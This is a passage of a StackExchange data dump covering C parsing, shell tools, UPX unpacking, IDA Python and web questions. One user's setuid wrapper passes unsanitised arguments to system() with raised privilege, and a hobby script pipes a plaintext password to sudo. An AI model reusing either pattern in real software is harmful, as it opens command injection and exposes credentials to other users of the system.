root->child[1] = parse(mem, in, createNode(mem, '.'), CONTEXT_FIRST_TERM);        TEST_ASSERT_MSG(**in == ')', %c, **in);        ++*in;        break;      default:        TEST_ASSERT_MSG(          **in != ')'          && **in != '+'          && **in != '-'          && **in != '*'          && **in != '/'          && **in != '\\n'          , %c, **in        );        root->child[1] = createNode(mem, readChar(in));        break;    }  }}void serialiseTree(const struct ExprNode * restrict node, char * restrict * restrict out, char parentType, bool isLeftChild){  IF_TESTING(    if (!node) {      writeChar(out, 'N');      return;    }  )  TEST_ASSERT(    parentType == '+'    || parentType == '-'    || parentType == '*'    || parentType == '/'  );  bool paren = false;  switch (node->type) {    case '+':    case '-':      paren = (        parentType == '*'        || parentType == '/'        || (parentType == '-' && !isLeftChild)      );      break;    case '*':    case '/':      paren = (parentType == '/' && !isLeftChild);      break;    default:      writeChar(out, node->type);      return;  }  if (paren) {    writeChar(out, '(');  }  serialiseTree(node->child[0], out, node->type, true);  writeChar(out, node->type);  serialiseTree(node->child[1], out, node->type, false);  if (paren) {    writeChar(out, ')');  }}void createTree(struct NodeMemory *mem){  char expr[MAX_INPUT_SIZE + 2];  fgets(expr, sizeof(expr), stdin);  const char *in = expr;  if (*in == '\\n') {    fputs(expr, stdout);    return;  }  struct ExprNode *root = parse(mem, &in, createNode(mem, '.'), CONTEXT_FIRST_TERM);  TEST_ASSERT(*in == '\\n');  TEST_ASSERT(root != NULL);  char *out = expr;  serialiseTree(root, &out, '+', true);  *out++ = '\\n';  *out = 0;  TEST_ASSERT(out - expr < sizeof(expr));  fputs(expr, stdout);}void runCase(void){  struct NodeMemory mem;  mem.end = mem.data;  createTree(&mem);}int main(void) {  int caseCount;  fscanf(stdin, %d\\n, &caseCount);  for (int idxCase = 0; idxCase < caseCount; ++idxCase) {    runCase();  }  return 0;}Notes:I use ideone for developing this code, so that's why I'm using my own assertions instead of built-in assert(); an unusual termination wouldn't be too helpful.There's no error checking on input because in the context of the online judge, input correctness is guaranteed.NodeMemory is used to avoid overhead of dynamic allocation in presence of a known maximum problem size."  , "title": "Parsing expressions using idiomatic C"  , "tags": "c;parsing"  , "accepted_answer": "These comments are not really related to writing idiomatic C, merely things I noticed in your code.Your handling of commas in lists is odd:enum ParsingContext {    CONTEXT_FIRST_TERM    , CONTEXT_ADDITIVE_EXPRESSION    , CONTEXT_NONFIRST_TERM};struct ExprNode* moveToChild(    struct NodeMemory * restrict mem    , struct ExprNode * restrict node    , size_t idxChild    , char newParentType    )I have never seen things written like that and don't see any advantageover the normal use:enum ParsingContext {    CONTEXT_FIRST_TERM,    CONTEXT_ADDITIVE_EXPRESSION,    CONTEXT_NONFIRST_TERM};struct ExprNode* moveToChild(struct NodeMemory * restrict mem,                             struct ExprNode * restrict node,                             size_t idxChild,                             char newParentType)Your macros and their invocation should allow a semicolon to be placed whereexpected.  Otherwise, syntax-aware editors can get confused and mess up theindentation:     IF_TESTING(        node->child[0] = node->child[1] = NULL;        )        return node;Better to move the ; out of the bracket:    IF_TESTING((node->child[0] = node->child[1] = NULL));    return node;Your asserts that check against a list of chars could be simpler withstrchr (also I find the placement of the && here to be distracting, but Iknow some people like it that way):TEST_ASSERT_MSG(   **in != ')'   && **in != '+'   && **in != '-'   && **in != '*'   && **in != '/'   && **in != '\\n'   , %c, **in   );Neater (?):TEST_ASSERT_MSG(!strchr()+-*/\\n, **in), %c, **in);I always find passing double pointers to be awkward and confusing, so Iavoid it if possible.  In this case it seems that you could read and writethe input/output string directly to/from stdin/out as you go, replacereadChar and writeChar with fgetc and fputc and passstdin/stdout around in instead of in and out (or just use thestdin/stdout globals).Note that using an assert to check for exceeding the available memory isincorrect.  This should be an explicit if and exit.TEST_ASSERT(mem->end - mem->data <= MAX_NODE_COUNT);"  } 
{  "id": "_codereview.70936"  , "question": "I am making an application in which the user has the ability to add, remove, and edit JSON data through DOM interaction. I have created a working JavaScript-only prototype that accepts certain variables to manipulate certain elements of the JSON data, although it is rather messy and seems rather impossible for me to implement with the DOM.Right now, my current structure is:Example Modding Session    Modding Section    A modA modAnother Modding Section    A modA modA modAnother Modding Session    Modding Section    Another modAnother modAnother modModding Section    Another modWhich has worked fine for me, however, my functions are very repetitive, which I would like to fix.var addSession = function(sessionName) {    var selfSessionName = sessionName || undefined;    if(!selfSessionName) return;    moddingSessions.push({        name: selfSessionName,        sections: []    });}Here you may start to see a pattern:var addSection = function(sectionName, sessionName) {    var selfSessionName = sessionName || undefined,        selfSectionName = sectionName || undefined;    if(!selfSectionName || !selfSectionName) return;    for(var i = 0; i < moddingSessions.length; i++) {        if(moddingSessions[i].name === selfSessionName) {            moddingSessions[i].sections.push({                name: selfSectionName,                mods: []            });        }    }}And here:var addMod = function(modContent, sectionName, sessionName) {    var selfSessionName = sessionName || undefined,        selfSectionName = sectionName || undefined,        selfModContent  = modContent  || undefined;    if(!selfModContent || !selfSectionName || !selfSectionName) return;    for(var i = 0; i < moddingSessions.length; i++) {        if(moddingSessions[i].name === selfSessionName) {            for(var j = 0; j < moddingSessions[i].sections.length; j++) {                if(moddingSessions[i].sections[j].name === selfSectionName) {                    moddingSessions[i].sections[j].mods.push(modContent);                }            }        }    }}As you can see, it works, but isn't very effective. I also have no idea how to handle each and every parameter when using this with DOM interaction. I hope there is a better way to achieve the same functionality."  , "title": "Manipulate JSON data from the client with JavaScript"  , "tags": "javascript;json"  } 
{  "id": "_unix.337350"  , "question": "I added VMware using user#  ./VMwarexxxxx.bundleNow I don't know how to uninstall it? I also used the following commands: user# chmod +x VMware-Workstation"  , "title": "How to uninstall apps that added using ./install command?"  , "tags": "software installation;uninstall"  } 
{  "id": "_webapps.40901"  , "question": "Is there a way to do a real exact match in Google?Quotes or plus do not make it exact.I'm trying to search for the phrase offset 0, but the results contain offset: 0, which is not the same and not what I'm looking for.I've encountered such a problem with many other queries, too."  , "title": "Force Google Search to do absolutely exact match"  , "tags": "google search"  } 
{  "id": "_ai.2920"  , "question": "I am looking for a solution that I can use with identifying cars.So I have a database with images of cars. About 3-4 per car. What I want to do is upload a picture to the web of car(Picture taken with camera/phone) and then let my pc recognize the car. Example: Lets say I have these 2 pictures in my database(Mazda cx5)(I can only upload 2 links at max. atm. but you get the idea).Now I am going to upload this picture of a mazda cs5 to my web app:Now I want an AI to recognize that this picture is of an Mazda CX5 with greyish color. I have looked on the net and found 2 interesting AI's I can use:Tensorflow and Clarifai, but I don't know if these are going to work so my question to you what would be my best bet to go with here?"  , "title": "Image recognition"  , "tags": "image recognition;tensorflow"  } 
{  "id": "_unix.290915"  , "question": "I have to check the log & monitor the I/O output, the log is generated per secondI seems a hard job to monitor the log which get generated every second, I am looking for some awk command which give me only output of that line which exceeds the threshold above 210.00 or decrease below 180.00  Is there a way to get the only output which gets crosses the thresholdSample output:Jun 20, 2016  interval        i/o   MB/sec   bytes   read     resp     read    write     resp     resp queue  cpu%  cpu%                             rate  1024**2     i/o    pct     time     resp     resp      max   stddev depth sys+u   sys13:28:40.040      6571     190.00    23.75  131072  77.89   80.840   80.827   80.885   90.911    2.783  15.4   0.1   0.113:28:41.041      6572     198.00    24.75  131072  79.29   80.800   80.491   81.984   94.508    2.865  16.0   0.0   0.013:28:42.041      6573     198.00    24.75  131072  85.35   80.803   80.719   81.295   90.176    2.650  16.0   0.0   0.013:28:43.041      6574     198.00    24.75  131072  79.29   80.813   80.789   80.902   92.090    2.687  16.0   0.0   0.013:28:44.041      6575     197.00    24.63  131072  80.20   81.195   81.020   81.905   91.351    3.385  16.0   0.0   0.013:28:45.041      6576     198.00    24.75  131072  85.35   80.805   80.814   80.752   90.865    2.795  16.0   0.0   0.013:28:46.040      6577     198.00    24.75  131072  80.81   80.816   80.733   81.166   94.233    2.946  16.0   0.0   0.013:28:47.040      6578     198.00    24.75  131072  78.28   80.810   80.746   81.042   91.541    2.882  16.0   0.0   0.013:28:48.040      6579     198.00    24.75  131072  79.29   80.784   80.788   80.770   92.255    2.799  16.0   0.1   0.013:28:49.041      6580     197.00    24.63  131072  82.23   80.811   80.637   81.619   94.005    3.311  16.0   0.0   0.013:28:50.041      6581     199.00    24.88  131072  81.41   80.829   80.678   81.489   90.607    2.851  16.0   0.0   0.0"  , "title": "Setting Threshold on log Output"  , "tags": "awk"  , "accepted_answer": "If you want all lines with column 3 outside your limits then simplyawk '$3>=210 || $3<=180 {print}'If you want just the first such line until the data is back inside the limits then:awk '$3>=210 { if(!hi)print; hi=1; lo=0; next }      $3<=180 { if(!lo)print; lo=1; hi=0; next }     { hi = 0; lo = 0 }'"  } 
{  "id": "_unix.101160"  , "question": "The program Boblight does not run in background. There is no noticeable difference between executing sudo boblightdand sudo boblightd& How can I solve this problem that the console will not block further inputs?pi@raspberrypi ~/boblight/boblightd-for-raspberry-master $ sudo boblightdBoblightd 2.0 (optimized version for raspberry) (c) 2013 Speedy1985 and Heven)(InitLog)                       start of log /root/.boblight/boblightd.log(PrintFlags)                    starting boblightd(CConfig::LoadConfigFromFile)   opening /etc/boblight.conf(CConfig::CheckConfig)          checking config lines(CConfig::CheckConfig)          config lines valid(CConfig::BuildConfig)          building config(CConfig::BuildConfig)          built config successfully(main)                          starting devices(CClientsHandler::Process)      opening listening TcpSocket on *:19333(CDevice::Process)              ambilight: starting with output /dev/spidev0.0(CDevice::Process)              ambilight: setting up(CDevice::Process)              ambilight: setup succeededpi@raspberrypi ~/boblight/boblightd-for-raspberry-master $ sudo boblightd&[1] 2289pi@raspberrypi ~/boblight/boblightd-for-raspberry-master $Boblightd 2.0 (optimized version for raspberry) (c) 2013 Speedy1985 and Heven)(InitLog)                       start of log /root/.boblight/boblightd.log(PrintFlags)                    starting boblightd(CConfig::LoadConfigFromFile)   opening /etc/boblight.conf(CConfig::CheckConfig)          checking config lines(CConfig::CheckConfig)          config lines valid(CConfig::BuildConfig)          building config(CConfig::BuildConfig)          built config successfully(main)                          starting devices(CClientsHandler::Process)      opening listening TcpSocket on *:19333(CDevice::Process)              ambilight: starting with output /dev/spidev0.0(CDevice::Process)              ambilight: setting up(CDevice::Process)              ambilight: setup succeeded"  , "title": "How to start a program in the background"  , "tags": "shell;sudo;background process"  } 
{  "id": "_unix.206467"  , "question": "I am thinking how you can replace [^\\]% marks but not \\% marks in the sed -command of this answer. I think look-behind is not necessary. My current Sed command but I think Perl is a must here cat something | sed 's#%.*</#</#'                which removes also everything after the % sign i.e. all comments in LaTeX but not percentage values. My unsuccessful Perl attemptcat something | perl 's#[^\\]%.*</#</#'where I do not know how I make Perl to take the standard output of cat. Data------------------------------Protocol of pre-eclampsia------------------------------Monitoring in 90\\% casesAntihypertensives when % this is a comment, please, remove me!$SBP/DBP > 160/110$; slowly.     ------------------------------Desired output------------------------------Protocol of pre-eclampsia------------------------------Monitoring in 90\\% casesAntihypertensives when$SBP/DBP > 160/110$; slowly.     ------------------------------How can you replace % signs but not \\%? If you can do this by Sed, please, comment. "  , "title": "To replace % marks but not \\% in Perl Regex"  , "tags": "sed;perl"  , "accepted_answer": "Like many, if not most, text parsing tools, perl can take input from the command line, there's no need for cat. You just need -e which lets you pass a script as a command line parameter and -n which means run the script on each line of input. ALternatively, you can use the -p switch which means run the script on each line of input, then print that line. These two commands are equivalent (but the second is a classic useless use of cat, use the first) :perl -pe 's/foo/bar/' filecat file | perl -pe 's/foo/bar/'Now, if I understand correctly, you want to delete all LaTeX comments (though that's not what your question states). If so, a lookbehind is the easiest way:perl -pe 's/(?<!\\\\)%.*//' file Your regex should also work, you just need to keep the character you matched before the % and escape the backslash:perl -pe 's/(^|[^\\\\]+)%.*/$1/' fileYou can do the same thing with GNU sed:sed -r 's/(^|[^\\\\])%.*/\\1/' file"  } 
{  "id": "_datascience.16537"  , "question": "I am working on detecting text in images using street view dataset(SVT), in this dataset for each image we are given with all the words present in the image and the corresponding bounding box enclosing them. I am stuck up on how to pre process these output labels so that I would be able to train a CNN for detecting text(bounding boxes) in the test image.Should I take in account the particular word in the output label somehow?Please suggest suitable strategy and methodology. Thank you!"  , "title": "Pre processing the training data for detecting multiple bounding boxes for text recognition in wild (Street view text dataset)"  , "tags": "deep learning"  } 
{  "id": "_codereview.2883"  , "question": "I wanted to launch a bash script (read: bash not sh script) as a root not as the user calling it, however bash ignore setuid on scripts, so I chose to write a very small script that takes a script/arguments and call it with setuid set.This worked well and I went even further to verify that the script has setuid set on, executable and setuid() called on the owner of the file and not as root, to avoid any misuse of the program and I ended up with the program below.#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/stat.h>int main(int argc, char **argv){  char *command;  int i, file_owner, size = 0;  struct stat status_buf;  ushort file_mode;  // Check argc  if (argc < 2) {    printf(Usage: %s <script> [arguments]\\n, argv[0]);    return 1;  }  // Make sure the script does exist  if(fopen(argv[1], r) == NULL) {    printf(The file %s does not exist.\\n, argv[1]);    return 1;  }  // Get the attributes of the file  stat(argv[1], &status_buf);  // Get the permissions of the file  file_mode = status_buf.st_mode;  // Make sure it's executable and it's setuid  if(file_mode >> 6 != 567) {    printf(The file %s should be executable and should have setuid set, please chmod it 0106755.\\n, argv[1]);    return 1;  }  // Get the owner of the script  file_owner = status_buf.st_uid;  // setuid  setuid(file_owner);  // Generate the command  for (i = 1; i < argc; i++) {    size += strlen(argv[i]);  }  command = (char *) malloc( (size + argc + 11) * sizeof(char) );  sprintf(command, /bin/bash %s, argv[1]);  if (argc > 2) {    for (i = 2; i < argc; i++) {      sprintf(command, %s %s, command, argv[i]);    }  }  // Execute the command  system(command);  // free memory  free(command);  return 0;}The exercise was not only to solve my problem, but it was also a way to get more into C, so what do you suggest? Is there anything I should improve?"  , "title": "Calling a script with a setuid set"  , "tags": "c;bash"  , "accepted_answer": "Check for errors in stat, setuid, fork, and execvp, to name a few.  If the exec fails in the child you should call exit.Do you really want the p in execvp?  This is not guaranteed to be the same as the argv[1] you just stat-ed.  If argv[1] is ls your stat will look for a file at ./ls and it will likely find the program in /bin.  I would use execve and either do that PATH lookup yourself or simply omit that part and require the user to specify a full path for something in PATH (eg. /bin/ls instead of just ls).The stat + observe state + exec thing is a race condition.  Another process can change the attributes on the file in that timing window.  This may or may not be important to you.  Given that this is a security-ish program I would say it may very well be.Instead of returning 0, you might want to return the child process's exit code (which you can get with waitpid.)  You might also want to return nonzero when the functions I mention in #1 fail.  This way a shell script or something calling you programmatically can determine success or failure."  } 
{  "id": "_unix.352115"  , "question": "I have an issue with creating symbolic links with ln, with the relative and the force flag set.The scenario is as follows:$ tree. folder1  file folder2I create the link:$ ln -sfr folder1/file folder2$ tree. folder1  file folder2     file -> ../folder1/fileThis is as I want it. But when I re-execute the command, I don't understand why the link is now pointing to itself:$ ln -sfr folder1/file folder2$ tree. folder1  file folder2     file -> fileExecuting the command a third time corrects the error:$ ln -sfr folder1/file folder2$ tree. folder1  file folder2     file -> ../folder1/fileRe-executing the command multiple times toggles between two states. I really wonder why this is. According to the manual this should be no issue.The ln version used (as shipped with Ubuntu 14.10):$ ln --versionln (GNU coreutils) 8.21[...]"  , "title": "Inconsistent behaviour creating symbolic links with relative and force flag"  , "tags": "ln"  , "accepted_answer": "This is a bug and appears in the coreutils from version 8.16 to 8.21. It was fixed in 8.22. From the release notes of version 8.22:ln --relative now updates existing symlinks correctly.  Previously it based   the relative link on the dereferenced path of an existing link.   [This bug was introduced when --relative was added in coreutils-8.16.]https://savannah.gnu.org/forum/forum.php?forum_id=7815"  } 
{  "id": "_unix.296773"  , "question": "How can I install/emerge a package manual in gentoo?I cannot download this package (ZLIB), because it gets blocked by our IT-Firewall (invalid decompression table). They scan each http/ftp request and cannot open the archive properly (maybe wrong/incompatible decompression software). However, I need to install this package - IT is informed but I want a fast alternative...I have download it manual from home but how can I emerge this package manual when I have already downloaded it?"  , "title": "Manual emerge package zlib"  , "tags": "linux;gentoo;emerge"  , "accepted_answer": "Copy the downloaded file to /usr/portage/distfiles/ directory, then execute emerge command as usual.  Make sure you have downloaded the exact version which you are going to install."  } 
{  "id": "_reverseengineering.5889"  , "question": "Since I love to play with the WinAPI or debugging in general, I decided to write a small unpacker for the open source PE executable packer UPX today (Windows version).In order to accomplish this, I proceeded as follow:CreateProcess API all with DEBUG and DEBUG_ONLY_THIS_PROCESS flags.GetThreadContext API call in order to read value of EIP.ReadProcessMemory API call loop searching for the last JMP instruction.Overwriting the E9 with CC in order to set an INT3 breakpoint on the address.Entering DebugEvent loop waiting for the breakpoint. Once reached, reset byte back to E9, decrease EIP by one and jump to the address (OEP) of the target.After reaching the OEP, I proceed as follows in order to dump the process:Read ImageBase, Base of code, ImageSize, ... from original PE headersReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read)Save buffer content to payload.bin, update the PE header of the file with new EntryPoint (OEP) and set RawDataOffset and RawDataSize of each section to its corresponding VirtualAddress/VirtualSize.After creating the dump with fixed OEP & RAW offsets/sizes for the sections, I fix the dump with ImpREC (right now manually, but I plan to use ImpREC.dll or the ImpREC lite source in order to assemble everything in one tool at a later point).The thing that confuses me though, is the fact, that the resulting binaries worked perfectly fine (exact match with the MUP) for one test case (a small hello world fasm application) and my dump file was exactly the same I had received through OllyDump, but when I tried to do the same unpacking with an UPX packed version of putty.exe, my dumped memory varied from the one OllyDump had dumped starting at RAW offset 0x73970 (exact match before that address). However - the file size is again the same one (and all bytes before that offset match), just after that certain address the bytes magically won't match anymore (they are still non-zero though).I studied the source code in OllyDump.c thoroughly regarding this difference, but as for now I didn't find my mistake... In some cases my dumps are equal to the ones generated by OllyDump and in some they aren't. Or is the mistake probably in my approach already?Note: Source code omitted on purpose, since it's a few hundred lines long and super messy as for now. Can/will add further details if required or if I missed something, please just let me know in the comments."  , "title": "An issue when unpacking UPX"  , "tags": "unpacking;dumping;upx"  , "accepted_answer": "Hard to tell what the reason for the differences might be without actually seeing the differences, but one guess is that you're doing ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read), while the other tool may be doing foreach(section) {ReadProcessMemory(hProcess, header32.ImageBase + section.RVA, buffer, section.VirtualSize, bytes_read)}; this may cause the caves between sections to differ.(BTW, I assume your header32.ImageBase is the actual base address of the module in memory, not just the image base address from the PE headers, since ASLR could relocate it at runtime.)"  } 
{  "id": "_cstheory.8883"  , "question": "During my work i came up with the following problem:I am trying to find an $n \\times n$ $(0,1)$-matrix $M$, for any $n > 3$, with the following properties:The determinant of $M$ is even.For any non-empty subsets $I,J\\subseteq\\{1,2,3\\}$ with $|I| = |J|$, the submatrix $M^I_J$ has odd determinant if and only if $I=J$.  Here $M^I_J$ denotes the submatrix of $M$ created by removing the rows with indices in $I$ and the columns with indices in $J$.So far, I tried to find such a matrix via random sampling but I am only able to find a matrix that has all properties except the first one, i.e., the matrix always has an odd determinant. I tried various dimensions and different input/output sets without any success. So this makes me think: Is that there is a dependency among the requirements, which prevents them from being simultaneously true?orIs it possible that such a matrix exists and can someone give me an example?Thanks,Etsch"  , "title": "Can such a matrix exist?"  , "tags": "graph theory;co.combinatorics;linear algebra;matrices;boolean matrix"  , "accepted_answer": "No such matrix exists.The Desnanot-Jacobi identity says that for $i \\neq j$, $$ \\det M_{ij}^{ij} \\det M = \\det M_i^i \\det M_j^j -\\det M_i^j \\det M_j^i $$so using this, we get$$ \\det M_{12}^{12} \\det M = \\det M_{1}^{1} \\det M_{2}^{2} - \\det M_{1}^{2} \\det M_{2}^{1} $$But your requirements force the left-hand-side to be 0 (mod 2) and the right-hand-side to be 1 (mod 2), showing they are incompatible. "  } 
{  "id": "_softwareengineering.188017"  , "question": "It has been my experience, when building websites, that most of the logic of a system is executed when user input is accepted, be it via POSTs, GETs etc.  I would like to know what processes or methodologies exist in Python (leaning towards using Python), PHP, and Ruby that allow web applications to perform tasks automatically without user input.  For instance performing tasks at a certain time or condition or event.  I have no experience with, and little understanding of, triggers, events, or cron, and all of the articles I ran across on google during my searches assumed a high familiarity with those concepts.  I simply desire a description of ways one could go about handling non-reactive processes in a web application."  , "title": "Automation Approaches: Events/Triggers/Cron"  , "tags": "automation;event programming;conditions"  , "accepted_answer": "You have pretty much answered the question yourself: cron jobs are the standard way of doing this.In PHP, you don't have much of a choice about this: the entire language is built with an execution model in mind where you get a clean slate with each request, and the language isn't very suitable for implementing long-running processes - you can do it, but you have to be very careful about not leaking memory.In Python, it depends on how you hook your code into a web server; if you use a web server that is integrated into your own code in a long-running process, you can trigger automatic processing directly from there, which means that you don't need cron in those cases. If, however, you follow a fresh-process-for-each-request paradigm like PHP does (mod_python does this IIRC) then you're pretty much limited to cron jobs or similar schedulers.I don't know enough about Ruby to make any qualified comments, but I assume that the situation is similar to that in Python.And of course, you can always implement a long-running process outside of your regular website, that just uses the same persistence backend and shares some code; such a process could then implement its own scheduling and even act upon other events. For example, you could set up a process that wakes up when a particular file changes, does some processing, then goes back to sleep. This approach has two advantages:Since there is only ever one such process, you don't have to worry about race conditions such as those caused by a cron job taking so long that individual iterations start overlapping - your process simply does one iteration at a time.You can act on events immediately without adding a lot of scheduling overhead. With cron jobs, you have to make a choice between frequent polling (shorter latency, more overhead) and less frequent polling (less overhead, longer latencies), but a process that just waits for a file to change has almost zero overhead while inactive.It's harder to set up though, and you'll probably want some sort of watchdog mechanism in case the process dies."  } 
{  "id": "_cs.35365"  , "question": "I'm so bad at solving the problem of the type:If $A$ is an NP-complete problem, $B$ is reducible to $A$, then $B$ is... That I have to come here and ask these silly questions each and every time I encounter them.Is there a good way of using the Venn Diagram shown below to tackle these kind of problem?For example, how can I prove that If $A$ is an NP-complete problem, $B$ is reducible to $A$, then $B$ can be NP-hard using the above diagram?If not possible, what would be another way to drill this into my head?"  , "title": "How can I use the NP complexity Venn diagram to quickly see which class of NP problem can be poly reducible to another class?"  , "tags": "complexity theory;proof techniques;complexity classes;intuition"  , "accepted_answer": "As Raphael said the definitions are important, especially if you try to create proofs. These definitions are not always captured in the Venn diagram. The definition of NP-complete is not made clear from the diagram and will not help you to reason about If A is an NP-complete problem, $B$ is reducible to $A$, then $B$ is.... You cannot see from the diagram that this must mean that $B$ is NP.To answer your question if it is not possible how you will be able to drill it into your head is much more complicated. But again the first step needs to be the definitions. If you know that NP-completeness implies two properties of $A$ by definition, then you can take the next step. What does $B$ reducible to $A$ means when regarding these two properties. Do the properties of $A$ tell anything about $B$?The second property says that any problem in NP reduces to $A$ in polynomial time. So if $B$ reduce to $A$ in polynomial time then $B$ is in NP."  } 
{  "id": "_unix.154641"  , "question": "I am attempting to load as the default DirectoryIndex home.html, but the site keeps jumping to index.php. Website is built on WordPress.httpd.confDirectoryIndex index.html home.html index.php index.html.var.htaccess<IfModule mod_rewrite.c>    RewriteEngine On    RewriteBase /    RewriteRule ^home\\.html$ - [L]    RewriteCond %{REQUEST_FILENAME} !-f    RewriteCond %{REQUEST_FILENAME} !-d    RewriteRule . /index.php [L]</IfModule>Any help on this matter would be greatly appreciated."  , "title": "Incorrect Directory Index"  , "tags": "configuration;apache httpd;wordpress;htaccess;mod rewrite"  } 
{  "id": "_softwareengineering.108487"  , "question": "I have a code where I have to work on Half precision floating point representationnumbers. To achieve that I have created my own C++ class fp16 with all operators(arithmetic logical, relational) related to this type overloaded with my custom functions, while using a Single precision floating point number with a Half precision floating point number.Half precision floating point = 1 Sign bit , 5 exponent bits , 10 significand bits = 16 bitSingle precision floating point = 1 Sign bit, 8 exponent bits, 23 significand bits = 32 bits So what I do to convert from a Single precision floating point number to a Half precision floating point number:- For significand bits - I use truncation i.e. loose 13 bits from the 32 bits to get 10 bits significand for half precision float.What should I do to handle the exponent bits. How do I go from 8 exponent bits to 5 exponent bits?Any good reading material would help."  , "title": "Conversion of a number from Single precision floating point representation to a Half precision floating point"  , "tags": "floating point;numeric precision"  } 
{  "id": "_webapps.5723"  , "question": "Possible Duplicate:Can I set an e-mail to send on a timer within gmail? I'd like to schedule an email at a later time and date with Gmail. Is this possible? They have many goodies in their labs section of Gmail preferences, but I do not recall seeing this labs add-on."  , "title": "can I schedule to send mail later on with duration on gmail?"  , "tags": "gmail;google apps email;date;scheduling"  , "accepted_answer": "Try the Boomerang extension"  } 
{  "id": "_unix.280660"  , "question": "I am writing a script which uses hot corners to play specific musical notes when hovering in corners, and depending on the musical sequence to execute a specific command.The script is called with parameter -d from bottom left, -e from b-right, -g from top-left, -b from top-right, appends the sequence in a file (for_hot) and compares the sequence with my associative array. Plays a succesful musical B'' when the sequence is recognized.2 issues: Sometimes the commands won't execute;I don't manage to poweroff.Here is the script, please note I am a noob in linux so don't hate my code, my question, me too much:#!/bin/bash#switch###############################case $1 in-d) play -q -n synth 3 pluck 293.665 &sleep 0.5echo -n d >> ~/bin/for_hot;;;-e) play -q -n synth 3 pluck 311.127 &sleep 0.5echo -n e >> ~/bin/for_hot;;;-g) play -q -n synth 3 pluck 391.995 &sleep 0.5echo -n g >> ~/bin/for_hot;;;-b) play -q -n synth 3 pluck 466.164 &sleep 0.5echo -n b >> ~/bin/for_hot;;;esac#######################################midi mappings########################declare -A commandscommands=( [egbd]=firefox -n [ebgb]=idea [ebb]=notify-send $instr  [egdgb]=echo pass | sudo -S poweroff[ee]=nemo /home/mintbwoy);######################################s=$(<~/bin/for_hot);for pattern in ${!commands[@]};doecho $pattern - ${commands[$pattern]};if [[ $s == *$pattern* ]]thenecho -n  > ~/bin/for_hot;play -q -n synth 3 pluck 932.328 &var=$(${commands[$s]});$var;notify-send [$pattern] = ${commands[$pattern]} $var;fidone######################################"  , "title": "Linux Mint Corners Musical Sequence Associative Array"  , "tags": "shell script;linux mint;scripting;audio;associative array"  } 
{  "id": "_unix.67860"  , "question": "If I have a logrotate config file like this,# matches multiple ones/var/log/project/*.log {   ...   prerotate      ...   endscript   ...} So how does the glob work here? If I have 3 log file matches that pattern, would the prerotate script get executed for 3 times or only once? I didn't find any clue in logrotate (8)"  , "title": "How does logrotate treat globbing?"  , "tags": "logrotate;glob"  , "accepted_answer": "It's executed three times, once for each matching file. There's a hint in the man page:sharedscripts       Normally,  prerotate  and postrotate scripts are run for each log which is rotated and the absolute path       to the log file is passed as first argument to the script. That means a single script may be run  multi-       ple  times  for  log  file  entries which match multiple files (such as the /var/log/news/* example). If       sharedscripts is specified, the scripts are only run once, no matter how many logs match the  wildcarded       pattern,  and  whole  pattern  is  passed  to them.  However, if none of the logs in the pattern require       rotating, the scripts will not be run at all. If the scripts exit with error, the remaining actions will       not  be  executed  for  any  logs.  This  option overrides the nosharedscripts option and implies create       option.But of course, you only find that once you know to look there. (Also, I experimentally verified with logrotate -v ;) )"  } 
{  "id": "_webmaster.12240"  , "question": "Some time ago (about 12 months) I created a number of targeted pages for our main product site.  Out main product can be called several different things and clearly it's not possible to optimize our home page for all of them so we created new pages called 'secondary-term-1.htm' and 'secondary-term-2.htm'.  These contained unique content and at the time I linked to them our site map and our blog.  And that was it.A year later these pages are now ranking quite well and I want to expand on this concept and create new landing pages for other terms.  I believe these landing pages are useful to people searching using different terms and relating this back to our product. I also think they are useful in explaining how our product is useful to different market segments.What is the current thinking with respect to Google as far as these landing pages go?  Are we likely to be penalized in some way?  This site is our main money maker and I am ultra cautious with what we can and cannot do on it."  , "title": "Google and Landing Pages"  , "tags": "seo;google;landing page"  , "accepted_answer": "If you stick with Google guidelines you will be fine. If you have 5 pages targeting different terms about the same thing and their content is different there will be no problem; if you create 100 pages, copy-paste content and then replace just the keyword, maybe you will get in troubles. http://www.google.com/support/webmasters/bin/answer.py?answer=35769"  } 
{  "id": "_reverseengineering.11044"  , "question": "I'm trying to automate  disassembly of a firmware image using IDA Pro 6.5 and IDA Python. One of the process I want to implement is to locate strings and create a data segment around them.Using the GUI, I have little issue doing so. However when using the idautils.Strings() API call, I can retrieve a list of StringItem objects, but I fail to access the actual string data with str() or unicode(). Below is the failing function, which is taken from IDA Python Google Code archive:def find_strings():    s = idautils.Strings(False)    s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C)    for i, v in enumerate(s):        if v is None:            print(Failed to retrieve string index %d % i)        else:            print(%x: len=%d type=%d index=%d-> '%s' % (v.ea, v.length, v.type, i, str(v)))When ran into IDA, the following error is reported:Traceback (most recent call last):  File <string>, line 1, in <module>  File <string>, line 8, in find_stringsTypeError: 'StringItem' object is not callableWhen replacing the str(v) argument with the constant aaa in the print function, I get a list of StringItem objects without any problem:Python>find_strings()208e: len=8 type=3 index=0-> 'aaa'21b0: len=55 type=0 index=1-> 'aaa'229d: len=6 type=0 index=2-> 'aaa'22c5: len=5 type=0 index=3-> 'aaa'22d3: len=33 type=0 index=4-> 'aaa'...If I attempt to use the unicode() function instead, I get the following error:Python>find_strings()208e: len=8 type=3 index=0-> 'Traceback (most recent call last):  File <string>, line 1, in <module>  File <string>, line 8, in find_stringsTypeError: coercing to Unicode: need string or buffer, NoneType foundFrom my understanding, it seems that the StringItem contains no strings for an unknown reason (or an issue with the plugin, specific version of Python maybe?), however they are displayed in the GUI.I'm seeking advice on either what I'm doing wrong, or an alternative way to extract the strings using the IDApython plugin. ThanksUpdatesThe code above appears valid after adding the missing parenthesis as mentioned in the comments. However this was only a typo in the post and not the source of the issue. The find_strings worked fine in other typical binaries. Further proof is that by using the idc.GetString(self.ea, self.length, self.type) also returned NoneType.Diff mentioned that the get_ascii_contents2 is failing and thus returning null, which is very likely the cause. What is unclear is why the function is failing, while the GUI succeeds in locating most of the strings.The first string at 0x208E is a trash Unicode string. The string at 0x21B0 is an actual ASCII string composed of 37 chars. I cannot post the complete string due to disclosure/legal issues. Notice that when displayed in the hex editor, the byte order of the ASCII view is inverted for an unknown reason. The bitness of the overall firmware is 16bit.434F 5059 5249 4748 5420 A920 ... 4544 2000 0000 : OCYPIRHG T  ... DE.Finally, note that the function MakeStr works without any issue. I have the following code, when used at 0x21B0, will successfully create a string within a data segment:def create_string(self, _startea, 